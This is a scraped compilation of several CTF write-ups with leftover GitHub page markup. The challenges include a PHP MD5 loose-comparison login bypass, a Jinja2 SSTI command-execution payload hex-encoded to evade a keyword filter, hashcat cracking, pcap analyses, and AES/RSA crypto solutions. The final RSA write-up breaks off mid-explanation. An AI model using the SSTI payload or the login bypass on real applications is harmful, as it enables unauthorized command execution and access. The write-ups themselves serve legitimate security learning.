<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Time_Machine.exe</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>a.cc</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>a.out</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>clean_assembly.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>clean_diassembly.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>parsed_assembly.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solver.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
> Navigating to the address shows us a login page requesting a password.

> View page source, we can see that the page uses php.
```html<link rel="stylesheet" type="text/css" href="style.css"><title>Login Page</title><form class="box" action="login.php" method="get"> <h1>Welcome to TMUCTF 2021</h1> <h3>Just login and get the flag:</h3> <input type="password" name="password" placeholder="Password"> <input type="submit" value="Login" /></form>```
> Navigate to /robots.txt
```txtif (isset($_GET["password"])) { if (hash("md5", $_GET["password"]) == $_GET["password"]) { echo "<h1>Here is the flag:</h1>" . $flag; } else { echo "Try harder!"; }}```
> The approach to this challenge is adapted from a similar challenge from another CTF shown in [this writeup](https://ctftime.org/writeup/12065).
> Here, we see a vulnerability. The comparison in the if condition is done with `==` instead of `===`. This mean that the comparison returns true also if both strings are scientific number, so we just need to find a string which hash is like: `0e + some digits`.
> The following is a python script taken [here](https://github.com/bl4de/ctf/blob/master/2017/HackDatKiwi_CTF_2017/md5games1/md5games1.md), which uses bruteforce to give us the required string: `0e215962017`
```python#!/usr/bin/env pythonimport hashlibimport re
prefix = '0e'
def breakit(): iters = 0 while 1: s = prefix + str(iters) hashed_s = hashlib.md5(s).hexdigest() iters = iters + 1 r = re.match('^0e[0-9]{30}', hashed_s) if r: print "[+] found! md5( {} ) ---> {}".format(s, hashed_s) print "[+] in {} iterations".format(iters) exit(0)
if iters % 1000000 == 0: print "[+] current value: {} {} iterations, continue...".format(s, iters)
breakit()```
> Entering the string as the password gave us the flag since the statement `if (hash("md5", $_GET["password"]) == $_GET["password"])` will equate to true.
`TMUCTF{D0_y0u_kn0w_7h3_d1ff3r3nc3_b37w33n_L0053_c0mp4r150n_4nd_57r1c7_c0mp4r150n_1n_PHP!?}` |
# The Magic Modbus

1) view the pcap file in wireshark- 
2) right click a packet > Follow > TCP Steam- - interesting, it's a message. Changing the TCP Stream to stream 2 reveals the flag
3) - `flag{Ms_Fr1ZZL3_W0ULD_b3_s0_Pr0UD}` |
I automated the search for the faulty sensor:
```pythonfrom scapy.all import *import struct
machines = []current = {}
for packet in rdpcap('bacnet.pcap'): if packet["IP"].src == "10.159.40.200": continue if bytes(packet)[56:58] == b"\x19\x4d": if "name" in current: machines.append(current) current = {} current["name"] = bytes(packet)[62:len(bytes(packet))-1] elif bytes(packet)[56:58] == b"\x19\x75": current["units"] = bytes(packet)[59:61] elif bytes(packet)[56:58] == b"\x19\x55": current["value"] = struct.unpack('>f', bytes(packet)[60:64])[0]
lists = {}for m in machines: if "units" not in m: continue if m["units"] not in lists: lists[m["units"]] = [] lists[m["units"]].append(m)
for x in lists: print(lists[x][0]["units"], end=" ") all_values = [m["value"] for m in lists[x]] print(min(all_values), max(all_values))
print(lists[b"\x91\x13"])for m in lists[b"\x91\x13"]: if m["value"] >= 80000: print(m)``` |
*more details in full writeup*
SSTI exploitation on jinja2. Found the vulnerability by inputting `{{ 2*2 }}`.
Target payload: `{{request.application.__globals__.__builtins__.__import__('os')['popen']('ls')['read']()}}`
But there is a WAF: > Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base
So I encode characters to get this final payload:```{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['read']()}}``` |
The [modified version](https://github.com/mar232320/ctf-writeups/raw/main/alles2021/manipulated_tictactoe.cpython-36.pyc) of the program was compiled with python 3.6 so I compiled the original [source code](https://github.com/mar232320/ctf-writeups/raw/main/alles2021/tictactoe.py)
I made a [script](http://) to find differences in this two compiled files which had the same length 1605
```org = open("orginal.pyc").read()mod = open("modified.pyc").read()
dif = ""
for i in range(1605): if org[i] != mod[i]: dif += mod[i] print dif```
In the output there was the flag
## ALLES!{py7h0n_byt3cod3_s3cr3ts} |
Original: https://infosecstreams.github.io/csaw21/crack-me/# Crack Me
Writeup by: [OreoByte](https://github.com/OreoByte)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/crack-me/)
----
```textCan you crack this? Your hash: a60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c. Your salt: the encryption method of the hash. (So if the hash is of the word example, you would submit flag{example} to score points.) UPDATE Friday 9PM: To streamline your efforts we would like to give you some more details about the format for the hash encryption method. An example: if you think the hash is RIPEMD-128, use ripemd128 for the salt.```
Here's the [Hash](./hash)
## What Hash is This?
`hashid -m A60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c`OR[Hash Analyzer](https://www.tunnelsup.com/hash-analyzer/)
## Cracking a Salted Hash with Hashcat
```bash# Command Usage: hashcat -m 1420 <hash>:<salt> /usr/share/wordlists/rockyou.txt$ hashcat -m 1420 A60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c:sha256 /usr/share/wordlists/rockyou.txt```
```text$ hashcat -m 1420 A60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c:sha256 /usr/share/wordlists/rockyou.txt --showa60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c:sha256:cathouse```
## Victory
Submit the flag and claim the points:
**`flag{cathouse}`** |
1. Turing refers to [Alan Turing](https://en.wikipedia.org/wiki/Alan_Turing), who decoded Enigma cipher during WWII2. M3 UKW B refers to model 3 of enigma machine (yeah, WWII, no computers) and reflector B (one of the parts that could be replaced, part of the key)3. We still need to know types and positions for 3 rotors (also replacable parts required for decoding)4. Turing was able to decode it because plaintext had predictable patterns. We have only 4 words, hard to guess. This means, that the task is **impossible**.5. But the author did and verified it somehow... What if he just googled "_enigma online_" and used defaults from that website for both encoding and test decoding?6. Around the top of google results there is a website called **cryptii**. It has exactly the same way of representing model (M3) and reflector (UKW B), might be the same website used by the author.7. Enable foreign symbols and you will see human-readable text. Seems like it is a flag. It is incorrect.8. Other flags look like `flag{...}`... Maybe, author forgot to mention that we need to add that? Yes, adding that construction makes the flag correct. |
# 435!Here is the challenge code and Description
```I have an encrypted message and the corresponding secret key, but some of their characters are missing. Can you help me find the flag?
Note: Missing characters are shown by *.```
```pythonimport binasciiimport hashlibimport sysfrom Crypto.Cipher import AES
key = b'*XhN2*8d%8Slp3*v'key_len = len(key)
def pad(message): padding = bytes((key_len - len(message) % key_len) * chr(key_len - len(message) % key_len), encoding='utf-8') return message + padding
def encrypt(message, key, iv): aes = AES.new(key, AES.MODE_CBC, iv) return aes.encrypt(message)
h = hashlib.sha256(key).hexdigest()hidden = binascii.unhexlify(h)[:10]message = b'CBC (Cipher Blocker Chaining) is an advanced form of block cipher encryption' + hidden
with open('flag', 'rb') as f: IV = f.read().strip(b'TMUCTF{').strip(b'}') print(binascii.hexlify(encrypt(pad(message), key, IV)))```
and the output```9**********b4381646*****01********************8b9***0485******************************0**ab3a*cc5e**********18a********5383e7f**************1b3*******9f43fd66341f3ef3fab2bbfc838b9ef71867c3bcbb
Pretty output for 32 bit hex (16 bytes) for every blockblock1: 9**********b4381646*****01******block2: **************8b9***0485********block3: **********************0**ab3a*ccblock4: 5e**********18a********5383e7f**block5: ************1b3*******9f43fd6634block6: 1f3ef3fab2bbfc838b9ef71867c3bcbb```
# Solution
As we know the flag is `IV` and we can't bruteforce it because of large state space for it\Also we know some characters are missing in output and the key\We have last block of cipher text and also we have 13 bytes of the key with 3 bytes missing\So we can bruteforce the key with just 16777216 keys possibleIf we decrypt last block of the message and `xor` it with last block of the ciphertext we can compare last 5 bytes of the result with `9f43fd6634` which is last 5 bytes of previous block to ensure the key is correct
## BruteForce missing characters of the Key```pythonimport binasciiimport hashlibimport sysfrom Crypto.Cipher import AESfrom Crypto.Util.number import *
gkey = '*XhN2*8d%8Slp3*v'key_len = len(gkey)
def brute_key():
key = gkey check = bytes.fromhex('9f43fd6634')
for i in range(0, 256):
tindex1 = key.find('*') key = key.replace('*', chr(i), 1)
for j in range(0, 256):
tindex2 = key.find('*') key = key.replace('*', chr(j), 1)
for k in range(0, 256):
tindex3 = key.find('*') key = key.replace('*', chr(k), 1)
h = hashlib.sha256(key.encode("latin")).hexdigest() hidden = binascii.unhexlify(h)[:10]
message = b'CBC (Cipher Blocker Chaining) is an advanced form of block cipher encryption' message += hidden m = pad(message)
c1 = bytes.fromhex('1f3ef3fab2bbfc838b9ef71867c3bcbb') b1 = m[-16:]
aes = AES.new(key.encode("latin"), AES.MODE_ECB) c2 = repeating_xor_key(aes.decrypt(c1), b1)
if (c2[-5:] == check): print(key) print(key.encode('latin')) print(c2)
tlist3 = list(key) tlist3[tindex3] = "*" key = "".join(tlist3)
tlist2 = list(key) tlist2[tindex2] = "*" key = "".join(tlist2)
tlist1 = list(key) tlist1[tindex1] = "*" key = "".join(tlist1)```
Here is the result, we got a key```key = '0XhN2!8d%8Slp3Ov'```
## Decrypt previous blockNow we should repeat the steps we did for last block until we reach first block and find `IV` which is our flag```pythondef find_IV(): key = "0XhN2!8d%8Slp3Ov"
h = hashlib.sha256(key.encode("latin")).hexdigest() hidden = binascii.unhexlify(h)[:10]
message = b'CBC (Cipher Blocker Chaining) is an advanced form of block cipher encryption' message += hidden message = pad(message)
cipher = bytes.fromhex('1f3ef3fab2bbfc838b9ef71867c3bcbb') block = message[-16:] # cipher = c1 for i in range(2, 8):
print(hex(bytes_to_long(cipher))) # print(block) aes = AES.new(key.encode("latin"), AES.MODE_ECB) cipher = repeating_xor_key(aes.decrypt(cipher), block) block = message[i*-16:(i-1)*-16] print(cipher)```
And here is the result, The last Line is `IV` and actually the flag !!```0x1f3ef3fab2bbfc838b9ef71867c3bcbbb'\x9c\x1a\x9d\x16y\\\x1b3Mn\xc4\x9fC\xfdf4'0x9c1a9d16795c1b334d6ec49f43fd6634b'^Yi\xdc\xdb\x9b\x18\xac3\x997\x858>\x7f2'0x5e5969dcdb9b18ac33993785383e7f32b'\x95\x93I\xe94\x81\x86\x9c\x83m\x90\r\xca\xb3\xa6\xcc'0x959349e93481869c836d900dcab3a6ccb'\x8b\xc6z\x00\xc0\xe5\x19\x8b\x9d\x03\x04\x85\x89S\xeb\x83'0x8bc67a00c0e5198b9d0304858953eb83b'\x9fJ\xc9\x03\x11\x8bC\x81db\xb3Q\x01\xa7\xb6\xfe'0x9f4ac903118b43816462b35101a7b6feb'Y0U_D3CrYP73D_17'```
```Flag : TMUCTF{Y0U_D3CrYP73D_17}```
[solution code](https://github.com/KooroshRZ/CTF-Writeups/blob/main/TMU2021/Crypto/435/solve.py)
> KouroshRZ for **AbyssalCruelty** |
# Common FactorHere is the challenge code and Description```How much do you know about the RSA algorithm?```
```pythonfrom Crypto.Util.number import *
from functools import reduce
def encrypt(msg, n): enc = pow(bytes_to_long(msg), e, n) return enc
e = 65537
primes = [getPrime(2048) for i in range(5)]n = reduce(lambda a, x: a * x, primes, 1)print(n)
x1 = primes[1] ** 2x2 = primes[2] ** 2x3 = primes[1] * primes[2]y1 = x1 * primes[2] + x2 * primes[1]y2 = x2 * (primes[3] + 1) - 1y3 = x3 * (primes[3] + 1) - 1print(x2 + x3 + y1)print(y2 + y3)
with open('flag', 'rb') as f: flag = f.read() print(encrypt(flag, n))```
# Solution
We have equations like this```pythonn = primes[0] * primes[1] * primes[2] * primes[3] * primes[4]v1 = x2 + x3 + y1v2 = y2 + y3
v1 = primes[2]**2 + primes[1]*primes[2] + (primes[1]**2)*primes[2] + primes[1]*(primes[2]**2)v2 = (primes[2]**2)*primes[3] + primes[2]**2 + primes[1]*primes[2]*primes[3] + primes[1]*primes[2] - 2```
We know that `n` and `v1` both are divisible by `primes[2]` so we can calculate Greatest Common Factor of `n` and `v1` `gcd(v1,n)` to find `primes[2]````python# p2p2 = gcd(n, v1)if n % p2 == 0: # confirm for correct p2 value print(p2)```
Then by having `primes[2]` and `v1` we can calculate `p1` with 2 degree equations solves```# p1a1 = p2b1 = p2**2 + p2c1 = p2**2 - value1delta1 = b1**2 - 4*a1*c1
p1 = (-b1 + nth_root(delta1, 2)) // (2*a1)if n % p1 == 0: # confirm for correct p2 value print(p1)```
By having `primes[1]` and `primes[2]` we also can find `primes[3]` through v2 linear equations```python# p3p3 = (value2 - (p2**2 + p1*p2) + 2) // (p1*p2 + p2**2)if n % p3 == 0: # confirm for correct p3 value print(p3)```
OK, we have 3 factors of our 5 factor n, But to decrypt the flag that's enough and no need for other factors [link](https://crypto.stackexchange.com/questions/44110/rsa-with-3-primes)```pythonphi1 = (p1-1)*(p2-1)d1 = inverse(e, phi1)flag = pow(enc % p1, d1, p1)print(long_to_bytes(flag))```
and here is the flag```flag: b'TMUCTF{Y35!!!__M4Y_N0t_4lW4y5_N33d_4ll_p21M3_f4c70R5}'```
[solution code](https://github.com/KooroshRZ/CTF-Writeups/blob/main/TMU2021/Crypto/CommonFactor/solve.py)
> KouroshRZ for **AbyssalCruelty** |
Hello every body ! Although I only solved this problem a few hours after the contest ended, I think this is an interesting problem so I want to write it up for everyone to exchange and learn.
First, we will analyze a bit about the code of the challenge.py file
```pyfrom Crypto.Util.number import *
e = 65537
with open('n', 'rb') as f: n = int(f.read())
with open('secret', 'rb') as f: secret_msg = f.read()
pads = [b'\x04', b'\x02', b'\x00', b'\x01', b'\x03']
with open('out.txt', 'w') as f: for i in range(len(pads)): for j in range(len(pads)): msg = pads[j] * (i + 1) + b'TMUCTF' + pads[len(pads) - j - 1] * (i + 1) enc = pow(bytes_to_long(msg), e, n) f.write(str(enc) + '\n')
enc = pow(bytes_to_long(secret_msg), e, n) f.write(str(enc))
```
After studying the code a bit, I decided to print out 25 unmodulated msg values to see what the rule was.
So to do this, I wrote a file thu.py to list all these 25 msg, specifically as follows:
```pyimport binascii
from Crypto.Util.number import bytes_to_long, long_to_bytesa = b'\x01\x00\x00'# print(ord('T'))# print(ord('M'))# print(ord('U'))# print(ord('C'))# print(ord('T'))# print(ord('F'))# print(binascii.hexlify(a))# print(bytes_to_long(a))pads = [b'\x04', b'\x02', b'\x00', b'\x01', b'\x03'] with open('template.txt','w') as f: for i in range(len(pads)): for j in range(len(pads)): msg = pads[j]*(i+1) + b'TMUCTF' + pads[len(pads) - j - 1] * (i + 1) # print('Thuong: {0} -- Long: {1}'.format(msg,bytes_to_long(msg))) fi = msg se = bytes_to_long(msg) th = str(msg) + "---" + str(se) f.write(th + '\n')```
And the result is:

Let's say these 25 numbers are $FF[1],FF[2],...,FF[25]$. Then, from the values $FF[3],FF[8],FF[13],FF[18],FF[23]$
I have derived the formula to determine the value of n. One of the keys to solving the problem !
First, we have a note as follows: {T,M,U,C,T,F} = {0x84,0x77,0x85,0x67,0x84,0x70}
Set $b=16$ and $G =8b^{11}+4b^{10}+7b^{9}+7b^{8}+8b^{7}+5b^{6}+6b^{5}+7b^{4}+8b^{3}+4b^{2}+7b^{1}+0b^{0}$
Then we have
+ $FF[3]=b^{2}G$+ $FF[8]=b^{4}G$+ $FF[13]=b^{6}G$+ $FF[18]=b^{8}G$+ $FF[23]=b^{10}G$
Next, we put the first 25 values in the output.txt file as $F[1],F[2],...,F[25]$ respectively.
.Then, we have the following system of modulo equations:

We realize that because $b^{2e}$ is an extremely large value, we cannot calculate that gcd directly, so to find this gcd value, we have to go through a vector, specifically as follows:
